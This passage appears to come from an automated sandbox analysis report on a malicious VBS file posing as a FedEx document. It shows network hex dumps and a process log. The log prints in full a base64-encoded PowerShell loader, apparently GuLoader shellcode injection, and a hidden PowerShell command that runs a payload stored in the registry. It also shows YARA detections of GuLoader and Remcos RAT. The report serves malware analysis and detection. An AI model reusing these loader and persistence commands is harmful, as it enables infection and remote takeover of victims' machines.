                            Data Ascii: ZxQ'i)$wz&uqF 0?Mqg)rg=X}D=4fE4vGt=?)'lzmoD i[<v`s7nrU:soNb(MV#OJ/8Ec-w09@*O*zsB^28WT48;>*6cu.
                            2022-01-21 16:23:12 UTC1295INData Raw: 7f 35 f0 1c 07 fb 6c 41 cb f2 10 a4 ab df 70 48 d9 f8 d5 22 48 6a af f2 b0 73 cf 09 74 99 92 77 3d 30 4c e6 0e 82 e9 c4 e8 62 62 80 55 e3 3b 32 76 dc 44 ff 95 5e 23 c0 87 01 e0 70 57 9c 9f 9f b2 cc 71 49 d3 dd a4 64 7d 08 ab 6d 72 4c 1e 33 62 d6 cf 11 b7 77 1f ce 00 07 7c 08 c3 09 57 1f fe a5 3b 5c bf 0a a2 eb 07 f1 a7 5b 6d 01 4d b6 09 7e cf db 2c f4 34 ec 3d 70 11 76 a4 e5 23 44 1a ed 38 63 1b d7 e6 5a b7 49 6a ae 3f 65 f9 a6 6f bc 4b 0c 40 d7 e3 ec 2b 00 d0 fc ba 0a 2e c5 19 62 29 57 17 89 03 1a 7f 8f d9 22 2f a3 ac 6a ee f1 03 22 59 0d 83 86 15 4a d0 de b3 80 7f 8e 54 04 5b 8d 82 ee 1b 00 03 13 e7 f2 8c 61 83 41 78 01 b3 05 45 17 fc 00 af 00 17 41 5e c8 b8 57 d8 30 11 48 31 cc 6f ba 86 25 82 ce fb 81 13 89 f0 16 d0 52 21 61 0c 34 64 9f 4a 5e 88 d6 b4
                            Data Ascii: 5lApH"Hjstw=0LbbU;2vD^#pWqId}mrL3bw|W;\[mM~,4=pv#D8cZIj?eoK@+.b)W"/j"YJT[aAxEA^W0H1o%R!a4dJ^
                            2022-01-21 16:23:12 UTC1311INData Raw: 88 20 2d f4 64 e8 0a 7f 83 e7 29 6c de 44 c7 99 de e5 13 00 90 e2 c5 21 f3 bc 93 f4 82 cc 0f 1f c8 3c 8a 72 41 60 5f 96 60 f0 15 07 ea 44 82 f9 b5 12 16 37 59 42 3b e3 24 c5 6e 70 92 0b b8 af 30 2a 4b 00 02 66 62 bd f6 a6 3e dc 26 02 bf dd 00 21 cc 5d ed d4 5e 6a e9 c7 07 dc 00 10 b3 08 69 c9 e3 ba aa aa 10 3b bf fa 2a 65 ee d0 d8 06 97 bb 41 35 21 25 f6 d0 6e 3e c1 7e e4 56 70 35 1c 5d 73 fc 5c 6e 93 f3 93 f9 59 4c 8a 95 76 1a e4 94 90 6a fc 53 0d 97 5f f2 ec 19 2f e4 c1 56 d2 96 7b aa e9 30 63 29 f6 97 83 e7 c9 26 b6 30 c7 49 bb 5d ba 7e 4f d0 4d 8b 83 f1 9f 89 84 93 15 59 0a 5a c0 a8 9d da 68 d5 cf 62 e7 71 93 f7 f5 27 d7 0e ec ea 84 93 99 1e 20 be 73 00 09 b5 d7 21 3a f9 db 99 d0 11 b0 f6 74 8b 10 89 d1 8c 78 7d e7 1e fb bb aa ff 16 a1 87 b0 f7 f1 53
                            Data Ascii: -d)lD!<rA`_`D7YB;$np0*Kfb>&!]^ji;*eA5!%n>~Vp5]s\nYLvjS_/V{0c)&0I]~OMYZhbq' s!:tx}S
                            2022-01-21 16:23:12 UTC1327INData Raw: 77 67 28 60 24 e6 2e d6 0a 64 73 e7 c7 e5 d5 30 26 19 01 f2 47 59 95 d4 7d a1 8b 63 b2 b7 69 81 67 32 6d 0f 2f 3b 00 06 f8 35 a9 95 7e 36 50 42 8e 0a df 0e 7b f7 30 ca b7 73 9d 36 77 86 9b ca cf 74 49 53 4a 6a f1 4e 89 46 00 5b 88 e0 9d 71 15 e7 cd 29 49 77 be aa ab 5a c1 8e 72 23 76 72 84 9d 78 0d 1d 7a 34 3e f2 75 04 a6 0f e8 e3 78 46 80 6a 9b 7e f9 94 69 73 01 1d fb a8 39 73 b6 24 b7 19 b3 4e fb c2 20 94 1b 3e af 40 9f be 93 64 8e fc 06 8b f6 35 89 09 f4 56 7d 48 3d 30 4c e6 8e 4c 06 fb e8 62 62 80 d5 2e d4 0d 76 dc 44 ff 15 92 cc ff 87 01 e0 70 d7 57 70 a0 b2 cc 71 49 53 17 4b 5b 7d 08 ab 6d f2 85 f1 0c 62 d6 cf 11 37 bf f0 f1 00 07 7c 08 43 ce b8 20 fe a5 3b 5c 08 8a 0b 92 41 b7 e1 1d ab 82 e4 cf 4f 38 89 9d ea 76 9d 95 7b 36 57 30 13 60 8a 3d 5c ab
                            Data Ascii: wg(`$.ds0&GY}cig2m/;5~6PB{0s6wtISJjNF[q)IwZr#vrxz4>uxFj~is9s$N >@d5V}H=0LLbb.vDpWpqISK[}mb7|C ;\AO8v{6W0`=\
                            2022-01-21 16:23:12 UTC1343INData Raw: e8 81 68 9b 3a b7 96 5b 46 9f 8d 1e b3 16 20 38 cd 65 9f ab d5 2a a1 7d b0 93 35 d4 66 cb a9 a4 5f 2a a7 b6 77 10 ae 3c a8 65 76 09 a7 af 26 bd 6f 22 12 c3 9e d9 7d e7 07 e5 cf 89 e2 29 8b 7b 6a 9f 47 2c 9a 0d c5 39 9b e8 b9 e4 7a 99 f5 d1 b6 4b 8b 5e 13 ca 3c c8 d1 31 d3 e0 3e bc 87 b3 cc 30 0f 16 80 93 02 f2 ce dd 9d 15 e0 ee 2f 95 5c c8 97 d3 a1 08 5f 2d ae 33 bc ee cf be 63 5f 79 55 ab 6f 7f ed e7 5d 2f 3f 04 a2 99 ac e5 60 54 69 a4 aa 23 9d bc cf 94 40 8a 7a 87 31 7a d6 72 41 60 5f 5a f8 b6 7a 07 8c 44 f6 06 3d ed 88 37 2b 42 5e ef 78 c5 23 18 c2 48 db af 42 2a 24 fe 8e 99 f2 bd 90 a6 4a 0c 85 fd 17 dd 69 21 a2 a3 76 2b ce 6a 9e c7 74 b0 24 53 f0 08 1c c9 91 44 27 55 8a 3b d1 fa 5e b5 47 2f 42 06 e5 bb 32 cb b7 da 66 d0 00 3e 9d 92 cc 15 1f 35 70 5d
                            Data Ascii: h:[F 8e*}5f_*w<ev&o"}){jG,9zK^<1>0/\_-3c_yUo]/?`Ti#@z1zrA`_ZzD=7+B^x#HB*$Ji!v+jt$SD'U;^G/B2f>5p]
                            2022-01-21 16:23:12 UTC1359INData Raw: bd 12 71 32 04 95 a5 0c 4d 69 60 fe 79 4d a5 f0 17 0a 98 df 5b b3 ca c7 fd c8 76 07 3c 6f 5d 0f b9 51 54 40 51 7b d1 33 e5 18 8e e6 eb 70 d3 20 80 5d 7c b2 7d 5d 17 18 f0 0a 16 30 5d e9 2b 5b 53 48 01 48 12 78 4b af 92 74 ca 39 84 90 c8 1b 88 42 a5 1a 93 6d 7a 9a 2a 93 35 72 7d f2 50 fd 12 09 5d 75 47 d3 d7 db 68 7e 6f 4d 4d 59 04 80 31 bb dd 6a a6 31 1d 23 84 a9 8a b9 13 77 67 28 60 24 e6 2e 29 93 64 8c cd e1 cc 2a 30 30 19 fe f6 69 51 6a d4 64 a1 74 69 ec a0 96 81 69 32 92 0f 2f 3b ff 06 f8 35 56 95 7e 36 84 c3 8a 0a 01 0e 7b f7 cf ca b2 73 62 36 a6 86 64 ca ce 74 b6 53 54 6a 0e 4e 8d 46 ff 5b d8 b2 2b 48 24 a1 01 fa 9b 46 41 aa ab 5a c1 8e 45 65 30 34 c2 db 3e 4b 5b 3c 72 87 2d 33 bd c8 61 88 5a 30 72 e2 d3 d3 3c a1 2d 2a 7f 4c a4 fa 11 f2 ca f0 39 87
                            Data Ascii: q2Mi`yM[v<o]QT@Q{3p ]|}]0]+[SHHxKt9Bmz*5r}P]uGh~oMMY1j1#wg(`$.)d*00iQjdtii2/;5V~6{sb6dtSTjNF[+H$FAZEe04>K[<r-3aZ0r<-*L9
                            2022-01-21 16:23:12 UTC1375INData Raw: 71 19 3e 05 60 96 e5 9c 01 2a f6 f7 48 90 6c 8a e7 c5 3b 51 44 0a 07 0b 96 1f 0e a8 88 d5 a7 2c f0 84 99 df 50 56 f9 45 cd 28 77 72 18 fc 21 a5 55 b6 59 dd 48 1b 04 14 e1 8b 2c 62 c9 ad d5 b2 88 d3 6f 78 a1 79 48 66 77 a5 78 61 6b 79 a5 bb 6b 89 75 ee e7 93 34 bc 5f 58 11 e9 14 be 5f 98 e8 2a cc 79 a2 e9 3e 55 94 74 8e 4a ad 1d 24 ad d9 79 0d 93 d3 51 7c 53 f7 d8 a5 6e f4 e2 d3 a0 d3 91 63 c8 9d d2 c2 1b c9 24 c0 7f de 1a 20 43 e1 45 58 d8 0c b4 64 4e 03 28 15 30 f2 2a 3b a9 4c f4 5a 13 8a 73 77 b3 4a ce 31 e3 f7 8b c3 6d 0c 21 55 11 b3 7f 3e 0d aa 57 03 6d 62 bb 84 2a b5 43 44 1d c7 14 d0 ca e2 44 4f 45 38 b5 32 cc fd 1f da 20 d7 73 3d 22 1d e3 05 29 ee f1 af 95 f9 20 22 76 97 b4 00 8b 18 66 b0 dd d2 a8 e1 f1 47 4f 55 cf 63 63 f5 cf 78 63 b9 a6 26 8d 01
                            Data Ascii: q>`*Hl;QD,PVE(wr!UYH,boxyHfwxakyku4_X_*y>UtJ$yQ|Snc$ CEXdN(0*;LZswJ1m!U>Wmb*CDDOE82 s=") "vfGOUccxc&


                            Statistics

                            Behavior

                            Click to jump to process

                            System Behavior

                            General

                            Start time:17:18:32
                            Start date:21/01/2022
                            Path:C:\Windows\System32\wscript.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\775578748333_FEDEX.vbs"
                            Imagebase:0x7ff6c2750000
                            File size:163840 bytes
                            MD5 hash:9A68ADD12EB50DDE7586782C3EB9FF9C
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Reputation:high

                            General

                            Start time:17:19:46
                            Start date:21/01/2022
                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaQBzAG0AbQAgAE8AcABkAHIAaQBmAHQAcwAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAaQBuAHQAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAGEAYQBuAGQAYgBvAGwAZABoADYAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADMAPQAwADsADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA4AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAwACwAWwByAGUAZgBdACQAUwBjAHIAaQBwAHQAZQByAGUAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAE8AYgBsAGkAZwBhAHQAIABPAHAAcwBrAHIAZQByAGYAcgBzACAARABlAHMAbwByADYAIABHAFIAVQBQAFAARQBNAEUARAAgAEwASQBWAFMASwBWAEEAIABzAHQAZQByAHMAcwB0ACAAQQBjAHQAaQBvAG4AYQByADYAIABBAG4AYQByAHQAaAByAG8AMQAgAFcAYQBtAHAAYQBuAG8AYQBnAG0ANwAgAFIAZQBnAG4AdgBlAGoAcgA3ACAAawBvAGUAYgB0AGYAdQByAHoAZQAgAEMAbwByAG4AbABlAHMAcwAzACAAQgByAHkAZwBoAHUAcwBlAGEAIABOAGkAZwBoAHQAaQBtAGUAIABiAGEAYQBsAHQAYQAgAGMAeQBjAGwAbwAgAFMAaQBuAGQAcwAzACAAUABMAEEARABFAEwAQQBHAEUAIABTAGsAaQBuAG4AZQBiAGUANgAgAFoAdwBlAGMAawBzAGMAbwBwADkAIAB0AGUAdQB0AG8AbgBpAHoAIABBAHMAcwBlAHMAcwBvAHIAZQAgAHIAZQBuAGEAcwAgAFYARQBBAEwAIABQAFIAUwBJAEQAIABCAG8AdgBiAGwAIABBAFMAWQBNACAATQBJAFIATwBTAEwASQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwBwAGkAbgAiACAADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwARwByAHUAbgBkAC4AZABhAHQAIgANAAoAIwBHAGUAbgBiAHIAdQBnAHMANwAgAHAAaAB5AHQAIABjAG8AcAByAGkAIABkAGUAbQBvAG4AcwB0AHIAYQAgAE0AZQB0AGgAeQBsAHAAIABTAG8AYwBpAGEAbAAxACAAcwB0AGEAbABsAGkAbgBnACAAZABvAGMAawB3ACAAdQBuAGIAZQAgAEIAYQBsAGwAYQBzACAAVgBhAG4AZAB1AGQAcwBrAGkAIABEAG8AbQBzACAAVgBlAGwAcwBlAHMAbwB2AGUAcgAgAHAAcgBvAGwAbwBjAHUAdABvAHIAIABUAEkARABTAEsAIABKAHUAcgBpAHMAdAAgAFQAaQBsAHMAaQBrAHIAZQB0AHIAIABzAHAAYQByAGsAZQBuAGUAbQBhACAAYgBlAHMAdAByAG4AaQBuAGcAIABTAFQAWQBSAEkATgBHAFMAQQAgAEIAbwBsAHQAZQBkAGUAIABCAE8ARABZAEcAIABEAEUAUwBVAEwAIABQAG8AcwB0AGEAdQByAGkAYwB1ACAAVAByAHkAawBuADQAIABJAE4ARABJAFYASQBEAFUAQQAgAFAASQBOAEMARQBUAFQAIAANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA0AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAUwBjAHIAaQBwAHQAZQByAGUAMgAsADIAMQA0ADcANAA4ADMANgA0ADgALAAxACwAMAAsADMALAAxADIAOAAsADAAKQANAAoAIwBTAHUAbQBwAHQAdQBvAHUAcwAgAE0ATwBEAEUAUgBFAFIARQBSACAARAByAHkAcwAgAEgAQQBMAFMAQgBSACAAbABlAGQAaQBnACAARgBsAGEAZwBlAHIAbQB1AHMAZQAgAEUARgBUAEUAUgAgAFMASwBKAE8AUgBUACAARgBsAGkAbgA5ACAAQgBlAG4AZQBmAGkAYwBlAG4AIABmAG8AcgBtACAARQBtAGIAcgBlAGEAYwBoAHMAdAAyACAAZAByAGUAagBuAGkAbgBnAHMAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHQAagByAGUAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADUAPQAwADsADQAKACMAbQBlAG4AcwB0AHIAdQBhAHQAZQAgAEEAZgBwAHIAdgBuAGkAbgBnAHMAMgAgAEwAdQBjAGkAbgBkADUAIABwAGUAdAByAGkAcwBhACAARwBlAG8AcABoAGEAZwBpAHMAIABQAGgAaQBsACAAQwB1AHQAdABsAGUANQAgAEEAawBrAG8AIABTAHQAYQBtADMAIABTAEwASQBCAEIARQBSAFMAQQBVACAAVgBlAHIAZABlAG4AcwA0ACAAUwBPAEwASQBEAEEAUgAgAEsAQQBSAFQAQQBVAEQASQBUAFIAIABNAE8AVQBSACAAYwBvAGMAawBzAHAAYQByACAAUwB0AGoAZQByAG4AZQBkADMAIABHAGUAbgBuAGUAbQA0ACAAYgBvAHIAdABrAGEAbABkACAAcwBkAGUAdABzAGkAbABrAGUAcwAgAHIAaQBnAG8AcgBpAHMAIABiAGEAbABkAHAAYQB0ACAASABWAEEATABGAEEATgBHACAAUwBhAHQAaQBuAGkAcwBlAHMAZwAgAGEAbgB0AGkAYwBsAGkAbQBhACAAbwB1AHQAcwB0AHIAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARAB1AGIAbABhAG4AdABzAGYAMwAiACAADQAKAFsAUwBjAHIAaQBwAHQAZQByAGUAMQBdADoAOgBSAGUAYQBkAEYAaQBsAGUAKAAkAFMAYwByAGkAcAB0AGUAcgBlADQALAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAyADYAMQAyADUALABbAHIAZQBmAF0AJABTAGMAcgBpAHAAdABlAHIAZQA1ACwAMAApAA0ACgAjAFAATwBVAEwAVABSAFkAIABBAHIAZQBuAHAAaABvAHQAbwBsADMAIABQAGEAcgBnACAAUgBlAGcAZQBsADUAIABMAGkAbgBpAHIAdQBuAGEAcwBoACAAVABvAHAAZgAzACAAZABpAGEAbABlAGsAdABpAGsAIABSAGUAcAByAG8AdgBhAGIAOAAgAEcAZQBhAHIAdgBsAGcAZQByAHMAIABVAEQARQBOAEUAVQBSAE8AUAAgAEMAQQBNAEIAVQBDAEEAUwBXACAAZgByAGEAZABtAG0AdABlAHcAZQAgAEYAYQByAHMAaQB1AG4AIABqAGUAcgBuAGIAYQBuAGUAbABpACAATABVAFYAUwBJAEcAQQBOAEcAIABBAGYAZABlAGwAaQBuACAAVABhAGIAZQBsAGwAZQAzACAAUAB1AHIAdgBpAGUAdwAzACAAUABsAGEAYwBlAGgAbwBsACAAYQByAHYAZQAgAFAAcgBpAGEAcAB1AGwAIABSAE8AUwBBAFUAUgAgAGQAaQBzAGMAIABTAFYAQQBSAEwAIABpAG4AZAB1AHMAIABTAE8AVQBCAEkAUwBFAFMAVAAgAHMAYwBoAG8AbwBsAHQAIABMAFIARQBSAEYATABVAEcAIABBAGcAcgBhAGYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEkAbQBiAGEAcgBrACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHIAZQBpAG0AcABsAGkAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQQBmAG0AbgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAE8ATgBEAE4AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARABpAHMAcgBpACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFcAYQB5AGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARwBBAFMAVABSAE8AQwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAGUAZABkAGUAbAA3ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbABkAHMAcABpAG4AMQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBPAEMAQwBMACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbgBpAHYAZQByAHMAYQAyACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMATwBFAEIATwBSACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAE0AeQBvAHMAaQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBCAHUAawBzAHMAdABhAGMAIgAgAA0ACgBbAFMAYwByAGkAcAB0AGUAcgBlADEAXQA6ADoAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA==
                            Imagebase:0x12c0000
                            File size:430592 bytes
                            MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:.Net C# or VB.NET
                            Yara matches:
                            • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000C.00000002.642638940.0000000009300000.00000040.00000001.sdmp, Author: Joe Security
                            Reputation:high

                            General

                            Start time:17:19:46
                            Start date:21/01/2022
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff7f20f0000
                            File size:625664 bytes
                            MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Reputation:high

                            General

                            Start time:17:20:13
                            Start date:21/01/2022
                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdline
                            Imagebase:0x2c0000
                            File size:2170976 bytes
                            MD5 hash:350C52F71BDED7B99668585C15D70EEA
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:.Net C# or VB.NET
                            Reputation:moderate

                            General

                            Start time:17:20:15
                            Start date:21/01/2022
                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD568.tmp" "c:\Users\user\AppData\Local\Temp\CSCF0319BB5C3414E72AB519E7A67BBFBFC.TMP"
                            Imagebase:0xb90000
                            File size:43176 bytes
                            MD5 hash:C09985AE74F0882F208D75DE27770DFA
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Reputation:moderate

                            General

                            Start time:17:20:40
                            Start date:21/01/2022
                            Path:C:\Program Files (x86)\Internet Explorer\ieinstal.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Program Files (x86)\internet explorer\ieinstal.exe
                            Imagebase:0x13a0000
                            File size:480256 bytes
                            MD5 hash:DAD17AB737E680C47C8A44CBB95EE67E
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000014.00000000.585462965.0000000000EF0000.00000040.00000001.sdmp, Author: Joe Security
                            Reputation:moderate

                            General

                            Start time:17:21:01
                            Start date:21/01/2022
                            Path:C:\Program Files\internet explorer\iexplore.exe
                            Wow64 process (32bit):false
                            Commandline:c:\program files\internet explorer\iexplore.exe
                            Imagebase:0x7ff74ad50000
                            File size:823560 bytes
                            MD5 hash:6465CB92B25A7BC1DF8E01D8AC5E7596
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Reputation:high

                            General

                            Start time:17:21:08
                            Start date:21/01/2022
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:"C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
                            Imagebase:0x7ff7d6ec0000
                            File size:273920 bytes
                            MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Reputation:high

                            General

                            Start time:17:21:09
                            Start date:21/01/2022
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff7f20f0000
                            File size:625664 bytes
                            MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Reputation:high

                            General

                            Start time:17:21:09
                            Start date:21/01/2022
                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            Wow64 process (32bit):true
                            Commandline:c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
                            Imagebase:0x12c0000
                            File size:430592 bytes
                            MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:.Net C# or VB.NET

                            General

                            Start time:17:21:17
